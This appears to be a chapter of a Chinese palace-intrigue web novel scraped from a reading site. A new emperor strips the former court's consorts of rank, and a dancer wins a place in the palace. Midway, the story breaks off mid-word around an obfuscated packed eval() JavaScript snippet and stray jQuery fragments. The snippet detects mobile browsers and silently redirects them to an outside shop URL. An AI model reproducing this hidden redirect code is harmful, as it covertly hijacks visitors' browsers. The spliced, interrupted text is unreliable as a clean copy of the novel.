123读书网 > 玄幻小说 > 九襄传 > 79.A计划·后宫的她
    凤仪宫前,白玉阶下。


    前朝的王皇后领着数十嫔妃,正正地跪在九月的日头里。她穿着褪了色的明黄朝服,头戴已除珠饰的凤冠,背脊挺得笔直,像一株不肯折枝的老梅。身后那些娇艳过的容颜,此刻都低垂着,钗环无声,锦衣委地,每张脸上都写着未尽的惶恐,与认命的沉寂,在风里瑟瑟地颤着,恍如一夜骤雨后零落满地的海棠。


    远处传来钟鸣,浑厚而缓慢,一声,一声,像是为旧朝送葬,又像是为新朝揭幕。每一声都敲得王皇后心惊肉跳,目光落在三步外那方玉阶上,她与身后这群女子的命运,都系于阶上那双还未踏出的新帝靴履之下。


    刘默踩着玉阶缓步而出,玄色龙纹靴底落在玉阶上,发出规律而清晰的轻响。他并未停步,甚至不曾看向那片跪着的绮色云霞,只在经过皇后身侧时,微微侧首瞥去一眼。


    那眼神里没有怜悯,只有一丝见到碍眼之物的厌倦。


    “到底是渔家野种,纵使坐上那虚悬的帝座,后宫搜罗来的,也不过是些市井细户、末流吏胥家里凑上来的庸脂俗粉。”他径自向前走去,衣袂拂动的微风甚至没有为她们停留一瞬。


    王皇后跪得笔直的背脊几不可察地一晃。她突然抬首,朝着那即将远去的背影高声大喊:


    “前朝罪后王氏——携后宫一百三十二人及皇子十位,恭请皇帝陛下发落!”


    每一个字都咬得极重,像在宣读自己最后的祭文。她依旧挺直着脖颈,目光死死追着刘默的背影,那褪色的凤冠在日光下泛着枯槁的光。


    刘默的脚步,终于停了下来。


    他没有回头,只是侧过半张脸,声音冷得像结了霜:


    “前朝既非龙脉正统——”


    他故意顿住,让那句话在空旷的殿前回荡,每一个字都砸在跪着的人们心头。


    “何来‘皇子’一说?”


    王皇后浑身一颤,那挺直的背脊终于肉眼可见地弯了下去,仿佛被这句话抽走了所有支撑。


    刘默这才缓缓转过身,目光如刀,刮过那片匍匐的绮色。


    “伪朝僭越,宫闱名位,自然皆不作数。”他的声音不高,却清晰得可怕,“尔等所谓‘妃嫔’‘皇子’,在本朝,无一具有法统。”


    他向前踱了半步,掌事李常侍忙抢上前,胸膛起伏,那声吼像鞭子般抽碎了空气:“还不将这些僭越的规制衣裳,都给脱了!”


    声音炸开,惊起远处寒鸦。跪着的人群如枯草般齐刷刷一颤。


    王皇后依旧跪得笔直,她缓缓地抬起手,伸向自己领口第一颗东珠盘扣。


    “刺啦——”


    第一声裂帛传来,像某种信号。紧接着,窸窸窣窣的声音连成了片。金线绣的牡丹被扯散了,翡翠压襟落在地上发出轻响,胭脂红的云锦外袍从肩头滑落,堆叠在冰冷的砖面上。


    风毫无顾忌地灌进来,吹动素白中衣。有人抱住肩膀,蜷缩起来。曾经环佩叮当、香风缭绕的凤仪宫前,此刻只剩一片瑟瑟发抖的素白,和满地宛如褪色蝉蜕的锦绣。


    李常侍冷眼看着,尖细的嗓音再次响起:“从今日起,尔等皆为庶人。限三日,迁出宫禁。”


    王皇后伏在地上,指甲深深掐进掌心,半晌,才从牙缝里挤出颤抖的声音:“罪妇……唯听凭陛下……发落。”


    “庶人”二字,轻轻巧巧,碾过了她们半生的浮沉。低泣声开始蔓延,起初还压抑着,用袖子死死捂住嘴,肩膀剧烈地耸动。渐渐地,变成了无法抑制的啜泣,又有人终于崩溃,放声嚎啕起来。那哭声里混杂着恐惧、茫然、屈辱,还有对未来的全然无望。


    刘默再未回头,步声沉稳,径直向着深宫而去。他背对着那片素白的战栗与压抑的呜咽,仿佛身后只是一阵无关紧要的秋风,卷过了几片枯叶。


    新朝初立,经纬万端。宗庙祭祀亟待重定,边疆军报尚待批阅,新政条目犹待颁布。他的案头堆积着比山更高的奏疏,他的疆域等待着比海更深的谋划。


    他有万里江山要镇,有千秋功业要谋。


    李常侍快步跟上皇帝,脸上没有丝毫波澜。他丢下一句尖厉的声音:


    “哭什么?!留着些力气,想想三日后出了这宫门,何以谋生吧!放你们出宫,皇家已是天恩浩荡——”那嗓音刺破压抑的呜咽,“难道,还不知足?莫不是……一个个的,都想去给那伪朝陪葬!”


    在那一地素白颤抖、呜咽四起的人潮中,唯有一人异于众。那是近两年最得盛宠的许贵妃。她本非贵胄,出身微若尘泥。不过是江南献入宫中的一介舞妓,凭着腰肢一段惊鸿影、眼波一转潋滟光,便从教坊司最底层的伶人,一路舞进了天子寝殿的罗帷深处。


    她唇边,极淡地,掠过一丝看不见的弧度。


    是夜,月华如练。


    刘默揉着发僵的眉骨,步出灯火通明的御书房。连日积压的朝务,几乎榨干了他最后一丝清明。夜风带着初秋的凉意袭来,他才略觉松快些。


    就在这一片沉寂里,忽然,一缕歌声,细细幽幽地,钻入了耳中。


    那嗓音起初极低,仿佛自深井中浮起,带着湿漉漉的凄楚。可渐渐,便扬了起来,在空旷的宫苑里摇曳盘旋,字字清晰,却又句句破碎,词句婉转哀艳。


    刘默蓦然驻足,倦意瞬间散了大半。他拧眉,循声望去。


    但见数十步外的太液池边,粼粼波光映着素白月色,一个身影正在那水月交融的朦胧光晕里,翩翩而动。


    她只一袭素纱长裙,广袖舒卷,裙裾飞扬。青丝未绾,如瀑流泻,随舞姿在腰后荡开幽暗的弧。月光毫无遮拦地洒在她身上,将那纱照得近乎透明,隐约勾勒出惊心动魄的婀娜曲线。她的舞姿也与那歌声一般,极柔,却又极韧,似柳枝拂水,又似剑器回风。每一次旋身,每一次仰折,都带着孤注一掷的妖异之美。


    他蓦地怔住。


    眼前月下凄舞的魅影,竟与记忆中那个月夜陡然重叠——


    彼时无头尸案迷雾深锁,正是九襄涤荡诡谲,以慧心设局,终使真凶伏法。也是这般月色如练,清辉铺满人间。忽见一道素影自九天寂寂而降,衣袂拂过冷月边缘,宛若琉璃盏中漫出的光凝化作了形骸。她足尖及地,无声无息,周身却笼着一层泠泠然、不似凡尘应有的明净。月光在她身后仿佛汇成一道虚渺的阶梯,而她自彼岸踏光行来,眉目沉静如深潭,只轻轻一拨,便似将混沌尘世的纱帷掀开一角,从容步入这迷局之中。


    刘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954395|189537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    默正沉迷于对九襄的回忆中,忽听李常侍大喊道:“大胆!什么人,夜半在此扰清!”


    李常侍那声呵斥尚在夜气中震颤,池边的舞影已戛然而止。


    那女子缓缓转过身,素纱随动作如水般滑落肩头。她惊慌下跪,对着刘默极深地敛衽一礼,嗓音因方才的歌唱带着一丝沙哑的婉转:


    “惊扰陛下,是罪婢万死。”她抬起眼,声音却平静得近乎凛冽,“明日奴便要离宫了……此身别无长物,唯余此舞。今夜在此,不过想了却一桩夙愿,跳最后一支曲子。”


    话说得恭敬,姿态也放得低,可那微微扬起的眼尾,那若有似无的停顿,却像羽毛尖,轻轻搔刮着听者的神经。


    李常侍正待厉声再斥,刘默却抬了抬手,制止了他。


    他向前踱了几步,月光终于清晰地照亮了她的脸。方才远观那惊心动魄的舞姿与月色交织的迷离印象渐渐沉淀,此刻近看,这张苍白却难掩绝色的脸上,眉眼的轮廓,尤其是不笑时那沉静的弧度,竟与记忆深处某个身影有了几分微妙的重叠。只是九襄的澄澈如琉璃映日,而眼前这女子,眼底藏着妩媚。


    刘默静默地看了她片刻,那目光沉甸甸的,仿佛在权衡,又似在透过她看向别的什么。夜风掠过池面,带来湿寒的气息。


    “你倒是胆大,也……有几分伶俐。”他终是开口,声音听不出喜怒,“是何夙愿未了?”


    “奴曾受人深恩。”她依旧维持着行礼的姿态,声音低却清晰,“答应过要为他跳一曲家乡的舞。如今故人已逝,此地是旧日初逢之处……便想赶在明日离宫前来此…还了这场迟来的愿。”


    “哦?你是废帝妃子。”刘默喃喃自语,夜风将这句话吹散,听起来既像是询问,又像是陈述。


    静默在两人之间蔓延,只有太液池的水波轻舔石岸的声响。


    “你叫什么?”他终于问,目光落在她依旧低垂的眉眼上。


    “罪奴,许美若。”她答道,声音平稳,却在报出名字时,极轻微地抬了一下眼睫。月光恰在这一瞬掠过她的眸,像短暂地擦亮了一颗沉寂的星。


    “美若……”他低声重复,二字在唇齿间轻轻一捻,辨不出是玩味还是审视。“倒也贴切。”


    他未再多言,转身前留下一道平淡的旨意:“既擅此道,便暂入歌舞房吧。宫里的规矩,从头学起。”


    他没有将她赶出宫墙。


    许美若深深拜下,额头触及冰凉的石板,声音里终于渗入一丝不易察觉的轻颤:“罪婢……谢陛下隆恩。”


    刘默不再多言,转身离去。


    李常侍落后半步,回头深深瞥了一眼仍跪在池边的素影,眉头几不可察地一蹙:这许氏不仅容色夺人,心思也转得极快,否则一个贱籍舞姬,当年怎能攀上前朝龙榻?今日陛下这般处置,看似随意打发,实则留了余地……果真帝王终是难逃这关么。


    许美若缓缓直起身,望着帝王消失的方向,唇边那抹极淡的弧度,终于清晰了些。她抬手,将一缕被夜风吹乱的发丝拢到耳后,指尖冰凉。


    她唇角极淡地一动,一缕气息如烟逸出,轻得只有自己能听见:“还好,终是……留下了。国师所授之法,果然……深得帝心。”